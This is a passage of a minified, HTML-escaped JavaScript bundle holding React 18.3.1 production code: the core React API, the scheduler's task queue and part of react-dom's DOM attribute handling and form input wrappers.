X(V,xe,&quot;&quot;,&quot;&quot;,function(Ce){return ue.call(de,Ce,_e++)}),xe}function G(V){if(V._status===-1){var ue=V._result;ue=ue(),ue.then(function(de){(V._status===0||V._status===-1)&amp;&amp;(V._status=1,V._result=de)},function(de){(V._status===0||V._status===-1)&amp;&amp;(V._status=2,V._result=de)}),V._status===-1&amp;&amp;(V._status=0,V._result=ue)}if(V._status===1)return V._result.default;throw V._result}var J={current:null},q={transition:null},ee={ReactCurrentDispatcher:J,ReactCurrentBatchConfig:q,ReactCurrentOwner:Q};function ne(){throw Error(&quot;act(...) is not supported in production builds of React.&quot;)}return qn.Children={map:W,forEach:function(V,ue,de){W(V,function(){ue.apply(this,arguments)},de)},count:function(V){var ue=0;return W(V,function(){ue++}),ue},toArray:function(V){return W(V,function(ue){return ue})||[]},only:function(V){if(!O(V))throw Error(&quot;React.Children.only expected to receive a single React element child.&quot;);return V}},qn.Component=w,qn.Fragment=r,qn.Profiler=i,qn.PureComponent=E,qn.StrictMode=n,qn.Suspense=c,qn.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=ee,qn.act=ne,qn.cloneElement=function(V,ue,de){if(V==null)throw Error(&quot;React.cloneElement(...): The argument must be a React element, but you passed &quot;+V+&quot;.&quot;);var xe=y({},V.props),_e=V.key,Ce=V.ref,we=V._owner;if(ue!=null){if(ue.ref!==void 0&amp;&amp;(Ce=ue.ref,we=Q.current),ue.key!==void 0&amp;&amp;(_e=&quot;&quot;+ue.key),V.type&amp;&amp;V.type.defaultProps)var ve=V.type.defaultProps;for(Ne in ue)C.call(ue,Ne)&amp;&amp;!R.hasOwnProperty(Ne)&amp;&amp;(xe[Ne]=ue[Ne]===void 0&amp;&amp;ve!==void 0?ve[Ne]:ue[Ne])}var Ne=arguments.length-2;if(Ne===1)xe.children=de;else if(1&lt;Ne){ve=Array(Ne);for(var Ie=0;Ie&lt;Ne;Ie++)ve[Ie]=arguments[Ie+2];xe.children=ve}return{$$typeof:e,type:V.type,key:_e,ref:Ce,props:xe,_owner:we}},qn.createContext=function(V){return V={$$typeof:o,_currentValue:V,_currentValue2:V,_threadCount:0,Provider:null,Consumer:null,_defaultValue:null,_globalName:null},V.Provider={$$typeof:s,_context:V},V.Consumer=V},qn.createElement=T,qn.createFactory=function(V){var ue=T.bind(null,V);return ue.type=V,ue},qn.createRef=function(){return{current:null}},qn.forwardRef=function(V){return{$$typeof:l,render:V}},qn.isValidElement=O,qn.lazy=function(V){return{$$typeof:u,_payload:{_status:-1,_result:V},_init:G}},qn.memo=function(V,ue){return{$$typeof:d,type:V,compare:ue===void 0?null:ue}},qn.startTransition=function(V){var ue=q.transition;q.transition={};try{V()}finally{q.transition=ue}},qn.unstable_act=ne,qn.useCallback=function(V,ue){return J.current.useCallback(V,ue)},qn.useContext=function(V){return J.current.useContext(V)},qn.useDebugValue=function(){},qn.useDeferredValue=function(V){return J.current.useDeferredValue(V)},qn.useEffect=function(V,ue){return J.current.useEffect(V,ue)},qn.useId=function(){return J.current.useId()},qn.useImperativeHandle=function(V,ue,de){return J.current.useImperativeHandle(V,ue,de)},qn.useInsertionEffect=function(V,ue){return J.current.useInsertionEffect(V,ue)},qn.useLayoutEffect=function(V,ue){return J.current.useLayoutEffect(V,ue)},qn.useMemo=function(V,ue){return J.current.useMemo(V,ue)},qn.useReducer=function(V,ue,de){return J.current.useReducer(V,ue,de)},qn.useRef=function(V){return J.current.useRef(V)},qn.useState=function(V){return J.current.useState(V)},qn.useSyncExternalStore=function(V,ue,de){return J.current.useSyncExternalStore(V,ue,de)},qn.useTransition=function(){return J.current.useTransition()},qn.version=&quot;18.3.1&quot;,qn}var iD;function o4(){return iD||(iD=1,nI.exports=Hne()),nI.exports}var aD;function qne(){if(aD)return wx;aD=1;var e=o4(),t=Symbol.for(&quot;react.element&quot;),r=Symbol.for(&quot;react.fragment&quot;),n=Object.prototype.hasOwnProperty,i=e.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,s={key:!0,ref:!0,__self:!0,__source:!0};function o(l,c,d){var u,h={},p=null,A=null;d!==void 0&amp;&amp;(p=&quot;&quot;+d),c.key!==void 0&amp;&amp;(p=&quot;&quot;+c.key),c.ref!==void 0&amp;&amp;(A=c.ref);for(u in c)n.call(c,u)&amp;&amp;!s.hasOwnProperty(u)&amp;&amp;(h[u]=c[u]);if(l&amp;&amp;l.defaultProps)for(u in c=l.defaultProps,c)h[u]===void 0&amp;&amp;(h[u]=c[u]);return{$$typeof:t,type:l,key:p,ref:A,props:h,_owner:i.current}}return wx.Fragment=r,wx.jsx=o,wx.jsxs=o,wx}var sD;function Gne(){return sD||(sD=1,rI.exports=qne()),rI.exports}var a=Gne(),U2={},iI={exports:{}},mc={},aI={exports:{}},sI={};var oD;function Vne(){return oD||(oD=1,(function(e){function t(q,ee){var ne=q.length;q.push(ee);e:for(;0&lt;ne;){var V=ne-1&gt;&gt;&gt;1,ue=q[V];if(0&lt;i(ue,ee))q[V]=ee,q[ne]=ue,ne=V;else break e}}function r(q){return q.length===0?null:q[0]}function n(q){if(q.length===0)return null;var ee=q[0],ne=q.pop();if(ne!==ee){q[0]=ne;e:for(var V=0,ue=q.length,de=ue&gt;&gt;&gt;1;V&lt;de;){var xe=2*(V+1)-1,_e=q[xe],Ce=xe+1,we=q[Ce];if(0&gt;i(_e,ne))Ce&lt;ue&amp;&amp;0&gt;i(we,_e)?(q[V]=we,q[Ce]=ne,V=Ce):(q[V]=_e,q[xe]=ne,V=xe);else if(Ce&lt;ue&amp;&amp;0&gt;i(we,ne))q[V]=we,q[Ce]=ne,V=Ce;else break e}}return ee}function i(q,ee){var ne=q.sortIndex-ee.sortIndex;return ne!==0?ne:q.id-ee.id}if(typeof performance==&quot;object&quot;&amp;&amp;typeof performance.now==&quot;function&quot;){var s=performance;e.unstable_now=function(){return s.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],d=[],u=1,h=null,p=3,A=!1,y=!1,v=!1,w=typeof setTimeout==&quot;function&quot;?setTimeout:null,j=typeof clearTimeout==&quot;function&quot;?clearTimeout:null,E=typeof setImmediate&lt;&quot;u&quot;?setImmediate:null;typeof navigator&lt;&quot;u&quot;&amp;&amp;navigator.scheduling!==void 0&amp;&amp;navigator.scheduling.isInputPending!==void 0&amp;&amp;navigator.scheduling.isInputPending.bind(navigator.scheduling);function S(q){for(var ee=r(d);ee!==null;){if(ee.callback===null)n(d);else if(ee.startTime&lt;=q)n(d),ee.sortIndex=ee.expirationTime,t(c,ee);else break;ee=r(d)}}function _(q){if(v=!1,S(q),!y)if(r(c)!==null)y=!0,G(C);else{var ee=r(d);ee!==null&amp;&amp;J(_,ee.startTime-q)}}function C(q,ee){y=!1,v&amp;&amp;(v=!1,j(T),T=-1),A=!0;var ne=p;try{for(S(ee),h=r(c);h!==null&amp;&amp;(!(h.expirationTime&gt;ee)||q&amp;&amp;!$());){var V=h.callback;if(typeof V==&quot;function&quot;){h.callback=null,p=h.priorityLevel;var ue=V(h.expirationTime&lt;=ee);ee=e.unstable_now(),typeof ue==&quot;function&quot;?h.callback=ue:h===r(c)&amp;&amp;n(c),S(ee)}else n(c);h=r(c)}if(h!==null)var de=!0;else{var xe=r(d);xe!==null&amp;&amp;J(_,xe.startTime-ee),de=!1}return de}finally{h=null,p=ne,A=!1}}var Q=!1,R=null,T=-1,M=5,O=-1;function $(){return!(e.unstable_now()-O&lt;M)}function P(){if(R!==null){var q=e.unstable_now();O=q;var ee=!0;try{ee=R(!0,q)}finally{ee?L():(Q=!1,R=null)}}else Q=!1}var L;if(typeof E==&quot;function&quot;)L=function(){E(P)};else if(typeof MessageChannel&lt;&quot;u&quot;){var X=new MessageChannel,W=X.port2;X.port1.onmessage=P,L=function(){W.postMessage(null)}}else L=function(){w(P,0)};function G(q){R=q,Q||(Q=!0,L())}function J(q,ee){T=w(function(){q(e.unstable_now())},ee)}e.unstable_IdlePriority=5,e.unstable_ImmediatePriority=1,e.unstable_LowPriority=4,e.unstable_NormalPriority=3,e.unstable_Profiling=null,e.unstable_UserBlockingPriority=2,e.unstable_cancelCallback=function(q){q.callback=null},e.unstable_continueExecution=function(){y||A||(y=!0,G(C))},e.unstable_forceFrameRate=function(q){0&gt;q||125&lt;q?console.error(&quot;forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported&quot;):M=0&lt;q?Math.floor(1e3/q):5},e.unstable_getCurrentPriorityLevel=function(){return p},e.unstable_getFirstCallbackNode=function(){return r(c)},e.unstable_next=function(q){switch(p){case 1:case 2:case 3:var ee=3;break;default:ee=p}var ne=p;p=ee;try{return q()}finally{p=ne}},e.unstable_pauseExecution=function(){},e.unstable_requestPaint=function(){},e.unstable_runWithPriority=function(q,ee){switch(q){case 1:case 2:case 3:case 4:case 5:break;default:q=3}var ne=p;p=q;try{return ee()}finally{p=ne}},e.unstable_scheduleCallback=function(q,ee,ne){var V=e.unstable_now();switch(typeof ne==&quot;object&quot;&amp;&amp;ne!==null?(ne=ne.delay,ne=typeof ne==&quot;number&quot;&amp;&amp;0&lt;ne?V+ne:V):ne=V,q){case 1:var ue=-1;break;case 2:ue=250;break;case 5:ue=1073741823;break;case 4:ue=1e4;break;default:ue=5e3}return ue=ne+ue,q={id:u++,callback:ee,priorityLevel:q,startTime:ne,expirationTime:ue,sortIndex:-1},ne&gt;V?(q.sortIndex=ne,t(d,q),r(c)===null&amp;&amp;q===r(d)&amp;&amp;(v?(j(T),T=-1):v=!0,J(_,ne-V))):(q.sortIndex=ue,t(c,q),y||A||(y=!0,G(C))),q},e.unstable_shouldYield=$,e.unstable_wrapCallback=function(q){var ee=p;return function(){var ne=p;p=ee;try{return q.apply(this,arguments)}finally{p=ne}}}})(sI)),sI}var lD;function Wne(){return lD||(lD=1,aI.exports=Vne()),aI.exports}var cD;function Kne(){if(cD)return mc;cD=1;var e=o4(),t=Wne();function r(f){for(var m=&quot;https://reactjs.org/docs/error-decoder.html?invariant=&quot;+f,b=1;b&lt;arguments.length;b++)m+=&quot;&amp;args[]=&quot;+encodeURIComponent(arguments[b]);return&quot;Minified React error #&quot;+f+&quot;; visit &quot;+m+&quot; for the full message or use the non-minified dev environment for full errors and additional helpful warnings.&quot;}var n=new Set,i={};function s(f,m){o(f,m),o(f+&quot;Capture&quot;,m)}function o(f,m){for(i[f]=m,f=0;f&lt;m.length;f++)n.add(m[f])}var l=!(typeof window&gt;&quot;u&quot;||typeof window.document&gt;&quot;u&quot;||typeof window.document.createElement&gt;&quot;u&quot;),c=Object.prototype.hasOwnProperty,d=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,u={},h={};function p(f){return c.call(h,f)?!0:c.call(u,f)?!1:d.test(f)?h[f]=!0:(u[f]=!0,!1)}function A(f,m,b,k){if(b!==null&amp;&amp;b.type===0)return!1;switch(typeof m){case&quot;function&quot;:case&quot;symbol&quot;:return!0;case&quot;boolean&quot;:return k?!1:b!==null?!b.acceptsBooleans:(f=f.toLowerCase().slice(0,5),f!==&quot;data-&quot;&amp;&amp;f!==&quot;aria-&quot;);default:return!1}}function y(f,m,b,k){if(m===null||typeof m&gt;&quot;u&quot;||A(f,m,b,k))return!0;if(k)return!1;if(b!==null)switch(b.type){case 3:return!m;case 4:return m===!1;case 5:return isNaN(m);case 6:return isNaN(m)||1&gt;m}return!1}function v(f,m,b,k,z,K,fe){this.acceptsBooleans=m===2||m===3||m===4,this.attributeName=k,this.attributeNamespace=z,this.mustUseProperty=b,this.propertyName=f,this.type=m,this.sanitizeURL=K,this.removeEmptyString=fe}var w={};&quot;children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style&quot;.split(&quot; &quot;).forEach(function(f){w[f]=new v(f,0,!1,f,null,!1,!1)}),[[&quot;acceptCharset&quot;,&quot;accept-charset&quot;],[&quot;className&quot;,&quot;class&quot;],[&quot;htmlFor&quot;,&quot;for&quot;],[&quot;httpEquiv&quot;,&quot;http-equiv&quot;]].forEach(function(f){var m=f[0];w[m]=new v(m,1,!1,f[1],null,!1,!1)}),[&quot;contentEditable&quot;,&quot;draggable&quot;,&quot;spellCheck&quot;,&quot;value&quot;].forEach(function(f){w[f]=new v(f,2,!1,f.toLowerCase(),null,!1,!1)}),[&quot;autoReverse&quot;,&quot;externalResourcesRequired&quot;,&quot;focusable&quot;,&quot;preserveAlpha&quot;].forEach(function(f){w[f]=new v(f,2,!1,f,null,!1,!1)}),&quot;allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope&quot;.split(&quot; &quot;).forEach(function(f){w[f]=new v(f,3,!1,f.toLowerCase(),null,!1,!1)}),[&quot;checked&quot;,&quot;multiple&quot;,&quot;muted&quot;,&quot;selected&quot;].forEach(function(f){w[f]=new v(f,3,!0,f,null,!1,!1)}),[&quot;capture&quot;,&quot;download&quot;].forEach(function(f){w[f]=new v(f,4,!1,f,null,!1,!1)}),[&quot;cols&quot;,&quot;rows&quot;,&quot;size&quot;,&quot;span&quot;].forEach(function(f){w[f]=new v(f,6,!1,f,null,!1,!1)}),[&quot;rowSpan&quot;,&quot;start&quot;].forEach(function(f){w[f]=new v(f,5,!1,f.toLowerCase(),null,!1,!1)});var j=/[\-:]([a-z])/g;function E(f){return f[1].toUpperCase()}&quot;accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height&quot;.split(&quot; &quot;).forEach(function(f){var m=f.replace(j,E);w[m]=new v(m,1,!1,f,null,!1,!1)}),&quot;xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type&quot;.split(&quot; &quot;).forEach(function(f){var m=f.replace(j,E);w[m]=new v(m,1,!1,f,&quot;http://www.w3.org/1999/xlink&quot;,!1,!1)}),[&quot;xml:base&quot;,&quot;xml:lang&quot;,&quot;xml:space&quot;].forEach(function(f){var m=f.replace(j,E);w[m]=new v(m,1,!1,f,&quot;http://www.w3.org/XML/1998/namespace&quot;,!1,!1)}),[&quot;tabIndex&quot;,&quot;crossOrigin&quot;].forEach(function(f){w[f]=new v(f,1,!1,f.toLowerCase(),null,!1,!1)}),w.xlinkHref=new v(&quot;xlinkHref&quot;,1,!1,&quot;xlink:href&quot;,&quot;http://www.w3.org/1999/xlink&quot;,!0,!1),[&quot;src&quot;,&quot;href&quot;,&quot;action&quot;,&quot;formAction&quot;].forEach(function(f){w[f]=new v(f,1,!1,f.toLowerCase(),null,!0,!0)});function S(f,m,b,k){var z=w.hasOwnProperty(m)?w[m]:null;(z!==null?z.type!==0:k||!(2&lt;m.length)||m[0]!==&quot;o&quot;&amp;&amp;m[0]!==&quot;O&quot;||m[1]!==&quot;n&quot;&amp;&amp;m[1]!==&quot;N&quot;)&amp;&amp;(y(m,b,z,k)&amp;&amp;(b=null),k||z===null?p(m)&amp;&amp;(b===null?f.removeAttribute(m):f.setAttribute(m,&quot;&quot;+b)):z.mustUseProperty?f[z.propertyName]=b===null?z.type===3?!1:&quot;&quot;:b:(m=z.attributeName,k=z.attributeNamespace,b===null?f.removeAttribute(m):(z=z.type,b=z===3||z===4&amp;&amp;b===!0?&quot;&quot;:&quot;&quot;+b,k?f.setAttributeNS(k,m,b):f.setAttribute(m,b))))}var _=e.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED,C=Symbol.for(&quot;react.element&quot;),Q=Symbol.for(&quot;react.portal&quot;),R=Symbol.for(&quot;react.fragment&quot;),T=Symbol.for(&quot;react.strict_mode&quot;),M=Symbol.for(&quot;react.profiler&quot;),O=Symbol.for(&quot;react.provider&quot;),$=Symbol.for(&quot;react.context&quot;),P=Symbol.for(&quot;react.forward_ref&quot;),L=Symbol.for(&quot;react.suspense&quot;),X=Symbol.for(&quot;react.suspense_list&quot;),W=Symbol.for(&quot;react.memo&quot;),G=Symbol.for(&quot;react.lazy&quot;),J=Symbol.for(&quot;react.offscreen&quot;),q=Symbol.iterator;function ee(f){return f===null||typeof f!=&quot;object&quot;?null:(f=q&amp;&amp;f[q]||f[&quot;@@iterator&quot;],typeof f==&quot;function&quot;?f:null)}var ne=Object.assign,V;function ue(f){if(V===void 0)try{throw Error()}catch(b){var m=b.stack.trim().match(/\n( *(at )?)/);V=m&amp;&amp;m[1]||&quot;&quot;}return`
`+V+f}var de=!1;function xe(f,m){if(!f||de)return&quot;&quot;;de=!0;var b=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{if(m)if(m=function(){throw Error()},Object.defineProperty(m.prototype,&quot;props&quot;,{set:function(){throw Error()}}),typeof Reflect==&quot;object&quot;&amp;&amp;Reflect.construct){try{Reflect.construct(m,[])}catch(At){var k=At}Reflect.construct(f,[],m)}else{try{m.call()}catch(At){k=At}f.call(m.prototype)}else{try{throw Error()}catch(At){k=At}f()}}catch(At){if(At&amp;&amp;k&amp;&amp;typeof At.stack==&quot;string&quot;){for(var z=At.stack.split(`
`),K=k.stack.split(`
`),fe=z.length-1,ke=K.length-1;1&lt;=fe&amp;&amp;0&lt;=ke&amp;&amp;z[fe]!==K[ke];)ke--;for(;1&lt;=fe&amp;&amp;0&lt;=ke;fe--,ke--)if(z[fe]!==K[ke]){if(fe!==1||ke!==1)do if(fe--,ke--,0&gt;ke||z[fe]!==K[ke]){var Ue=`
`+z[fe].replace(&quot; at new &quot;,&quot; at &quot;);return f.displayName&amp;&amp;Ue.includes(&quot;&lt;anonymous&gt;&quot;)&amp;&amp;(Ue=Ue.replace(&quot;&lt;anonymous&gt;&quot;,f.displayName)),Ue}while(1&lt;=fe&amp;&amp;0&lt;=ke);break}}}finally{de=!1,Error.prepareStackTrace=b}return(f=f?f.displayName||f.name:&quot;&quot;)?ue(f):&quot;&quot;}function _e(f){switch(f.tag){case 5:return ue(f.type);case 16:return ue(&quot;Lazy&quot;);case 13:return ue(&quot;Suspense&quot;);case 19:return ue(&quot;SuspenseList&quot;);case 0:case 2:case 15:return f=xe(f.type,!1),f;case 11:return f=xe(f.type.render,!1),f;case 1:return f=xe(f.type,!0),f;default:return&quot;&quot;}}function Ce(f){if(f==null)return null;if(typeof f==&quot;function&quot;)return f.displayName||f.name||null;if(typeof f==&quot;string&quot;)return f;switch(f){case R:return&quot;Fragment&quot;;case Q:return&quot;Portal&quot;;case M:return&quot;Profiler&quot;;case T:return&quot;StrictMode&quot;;case L:return&quot;Suspense&quot;;case X:return&quot;SuspenseList&quot;}if(typeof f==&quot;object&quot;)switch(f.$$typeof){case $:return(f.displayName||&quot;Context&quot;)+&quot;.Consumer&quot;;case O:return(f._context.displayName||&quot;Context&quot;)+&quot;.Provider&quot;;case P:var m=f.render;return f=f.displayName,f||(f=m.displayName||m.name||&quot;&quot;,f=f!==&quot;&quot;?&quot;ForwardRef(&quot;+f+&quot;)&quot;:&quot;ForwardRef&quot;),f;case W:return m=f.displayName||null,m!==null?m:Ce(f.type)||&quot;Memo&quot;;case G:m=f._payload,f=f._init;try{return Ce(f(m))}catch{}}return null}function we(f){var m=f.type;switch(f.tag){case 24:return&quot;Cache&quot;;case 9:return(m.displayName||&quot;Context&quot;)+&quot;.Consumer&quot;;case 10:return(m._context.displayName||&quot;Context&quot;)+&quot;.Provider&quot;;case 18:return&quot;DehydratedFragment&quot;;case 11:return f=m.render,f=f.displayName||f.name||&quot;&quot;,m.displayName||(f!==&quot;&quot;?&quot;ForwardRef(&quot;+f+&quot;)&quot;:&quot;ForwardRef&quot;);case 7:return&quot;Fragment&quot;;case 5:return m;case 4:return&quot;Portal&quot;;case 3:return&quot;Root&quot;;case 6:return&quot;Text&quot;;case 16:return Ce(m);case 8:return m===T?&quot;StrictMode&quot;:&quot;Mode&quot;;case 22:return&quot;Offscreen&quot;;case 12:return&quot;Profiler&quot;;case 21:return&quot;Scope&quot;;case 13:return&quot;Suspense&quot;;case 19:return&quot;SuspenseList&quot;;case 25:return&quot;TracingMarker&quot;;case 1:case 0:case 17:case 2:case 14:case 15:if(typeof m==&quot;function&quot;)return m.displayName||m.name||null;if(typeof m==&quot;string&quot;)return m}return null}function ve(f){switch(typeof f){case&quot;boolean&quot;:case&quot;number&quot;:case&quot;string&quot;:case&quot;undefined&quot;:return f;case&quot;object&quot;:return f;default:return&quot;&quot;}}function Ne(f){var m=f.type;return(f=f.nodeName)&amp;&amp;f.toLowerCase()===&quot;input&quot;&amp;&amp;(m===&quot;checkbox&quot;||m===&quot;radio&quot;)}function Ie(f){var m=Ne(f)?&quot;checked&quot;:&quot;value&quot;,b=Object.getOwnPropertyDescriptor(f.constructor.prototype,m),k=&quot;&quot;+f[m];if(!f.hasOwnProperty(m)&amp;&amp;typeof b&lt;&quot;u&quot;&amp;&amp;typeof b.get==&quot;function&quot;&amp;&amp;typeof b.set==&quot;function&quot;){var z=b.get,K=b.set;return Object.defineProperty(f,m,{configurable:!0,get:function(){return z.call(this)},set:function(fe){k=&quot;&quot;+fe,K.call(this,fe)}}),Object.defineProperty(f,m,{enumerable:b.enumerable}),{getValue:function(){return k},setValue:function(fe){k=&quot;&quot;+fe},stopTracking:function(){f._valueTracker=null,delete f[m]}}}}function be(f){f._valueTracker||(f._valueTracker=Ie(f))}function Re(f){if(!f)return!1;var m=f._valueTracker;if(!m)return!0;var b=m.getValue(),k=&quot;&quot;;return f&amp;&amp;(k=Ne(f)?f.checked?&quot;true&quot;:&quot;false&quot;:f.value),f=k,f!==b?(m.setValue(f),!0):!1}function Pe(f){if(f=f||(typeof document&lt;&quot;u&quot;?document:void 0),typeof f&gt;&quot;u&quot;)return null;try{return f.activeElement||f.body}catch{return f.body}}function Ke(f,m){var b=m.checked;return ne({},m,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:b??f._wrapperState.initialChecked})}function tt(f,m){var b=m.defaultValue==null?&quot;&quot;:m.defaultValue,k=m.checked!=null?m.checked:m.defaultChecked;b=ve(m.value!=null?m.value:b),f._wrapperState={initialChecked:k,initialValue:b,controlled:m.type===&quot;checkbox&quot;||m.type===&quot;radio&quot;?m.checked!=null:m.value!=null}}function pt(f,m){m=m.checked,m!=null&amp;&amp;S(f,&quot;checked&quot;,m,!1)}function dt(f,m){pt(f,m);var b=ve(m.value),k=m.type;if(b!=null)k===&quot;number&quot;?(b===0&amp;&amp;f.value===&quot;&quot;||f.value!=b)&amp;&amp;(f.value=&quot;&quot;+b):f.value!==&quot;&quot;+b&amp;&amp;(f.value=&quot;&quot;+b);else if(k===&quot;submit&quot;||k===&quot;reset&quot;){f.removeAttribute(&quot;value&quot;);return}m.hasOwnProperty(&quot;value&quot;)?Pt(f,m.type,b):m.hasOwnProperty(&quot;defaultValue&quot;)&amp;&amp;Pt(f,m.type,ve(m.defaultValue)),m.checked==null&amp;&amp;m.defaultChecked!=null&amp;&amp;(f.defaultChecked=!!m.defaultChecked)}function Oe(f,m,b){if(m.hasOwnProperty(&quot;value&quot;)||m.hasOwnProperty(&quot;defaultValue&quot;)){var k=m.type;if(!(k!==&quot;submit&quot;&amp;&amp;k!==&quot;reset&quot;||m.value!==void 0&amp;&amp;m.value!==null))return;m=&quot;&quot;+f._wrapperState.initialValue,b||m===f.value||(f.value=m),f.defaultValue=m}b=f.name,b!==&quot;&quot;&amp;&amp;(f.name=&quot;&quot;),f.defaultChecked=!!f._wrapperState.initialChecked,b!==&quot;&quot;&amp;&amp;(f.name=b)}function Pt(f,m,b){(m!==&quot;number&quot;||Pe(f.ownerDocument)!==f)&amp;&amp;(b==null?f.defaultValue=&quot;&quot;+f._wrapperState.initialValue:f.defaultValue!==&quot;&quot;+b&amp;&amp;(f.defaultValue=&quot;&quot;+b))}var Kt=Array.isArray;function gt(f,m,b,k){if(f=f.options,m){m={};for(var z=0;z&lt;b.length;z++)m[&quot;$&quot;+b[z]]=!0;for(b=0;b&lt;f.length;b++)z=m.hasOwnProperty(&quot;$&quot;+f[b].value),f[b].selected!==z&amp;&amp;(f[b].selected=z),z&amp;&amp;k&amp;&amp;(f[b].defaultSelected=!0)}else{for(b=&quot;&quot;+ve(b),m=null,z=0;z&lt;f.length;z++){if(f[z].value===b){f[z].selected=!0,k&amp;&amp;(f[z].defaultSelected=!0);return}m!==null||f[z].disabled||(m=f[z])}m!==null&amp;&amp;(m.selected=!0)}}function Jt(f,m){if(m.dangerouslySetInnerHTML!=null)throw Error(r(91));return ne({},m,{value:void 0,defaultValue:void 0,children:&quot;&quot;+f._wrapperState.initialValue})}function Bt(f,m){var b=m.value;if(b==null){if(b=m.children,m=m.defaultValue,b!=null){if(m!=null)throw Error(r(92));if(Kt(b)){if(1&lt;b.length)throw Error(r(93));b=b[0]}m=b}m==null&amp;&amp;(m=&quot;&quot;),b=m}f._wrapperState={initialValue:ve(b)}}function tr(f,m){var b=ve(m.value),k=ve(m.defaultValue);b!=null&amp;&amp;(b=&quot;&quot;+b,b!==f.value&amp;&amp;(f.value=b),m.defaultValue==null&amp;&amp;f.defaultValue!==b&amp;&amp;(f.defaultValue=b)),k!=null&amp;&amp;(f.defaultValue=&quot;&quot;+k)}function sr(f){var m=f.textContent;m===f._wrapperState.initialValue&amp;&amp;m!==&quot;&quot;&amp;&amp;m!==null&amp;&amp;(f.value=m)}function xt(f){switch(f){case&quot;svg&quot;:return&quot;http://www.w3.org/2000/svg&quot;;case&quot;math&quot;:return&quot;http://www.w3.org/1998/Math/MathML&quot;;default:return&quot;http://www.w3.org/1999/xhtml&quot;}}function wt(f,m){return f==null||f===&quot;http://www.w3.org/1999/xhtml&quot;?xt(m):f===&quot;http://www.w3.org/2000/svg&quot;&amp;&amp;m===&quot;foreignObject&quot;?&quot;http://www.w3.org/1999/xhtml&quot;:f}var Lt,ir=(function(f){return typeof MSApp&lt;&quot;u&quot;&amp;&amp;MSApp.execUnsafeLocalFunction?function(m,b,k,z){MSApp.execUnsafeLocalFunction(function(){return f(m,b,k,z)})}:f})(function(f,m){if(f.namespaceURI!==&quot;http://www.w3.org/2000/svg&quot;||&quot;innerHTML&quot;in f)f.innerHTML=m;else{for(Lt=Lt||document.createElement(&quot;div&quot;),Lt.innerHTML=&quot;&lt;svg&gt;&quot;+m.valueOf().toString()+&quot;&lt;/svg&gt;&quot;,m=Lt.firstChild;f.firstChild;)f.removeChild(f.firstChild);for(;m.firstChild;)f.appendChild(m.firstChild)}});function He(f,m){if(m){var b=f.firstChild;if(b&amp;&amp;b===f.lastChild&amp;&amp;b.nodeType===3){b.nodeValue=m;return}}f.textContent=m}var ce={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Le=[&quot;Webkit&quot;,&quot;ms&quot;,&quot;Moz&quot;,&quot;O&quot;];Object.keys(ce).forEach(function(f){Le.forEach(function(m){m=m+f.charAt(0).toUpperCase()+f.substring(1),ce[m]=ce[f]})});function rt(f,m,b){return m==null||typeof m==&quot;boolean&quot;||m===&quot;&quot;?&quot;&quot;:b||typeof m!=&quot;number&quot;||m===0||ce.hasOwnProperty(f)&amp;&amp;ce[f]?(&quot;&quot;+m).trim():m+&quot;px&quot;}function ie(f,m){f=f.style;for(var b in m)if(m.hasOwnProperty(b)){var k=b.indexOf(&quot;--&quot;)===0,z=rt(b,m[b],k);b===&quot;float&quot;&amp;&amp;(b=&quot;cssFloat&quot;),k?f.setProperty(b,z):f[b]=z}}var ae=ne({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Ee(f,m){if(m){if(ae[f]&amp;&amp;(m.children!=null||m.dangerouslySetInnerHTML!=null))throw 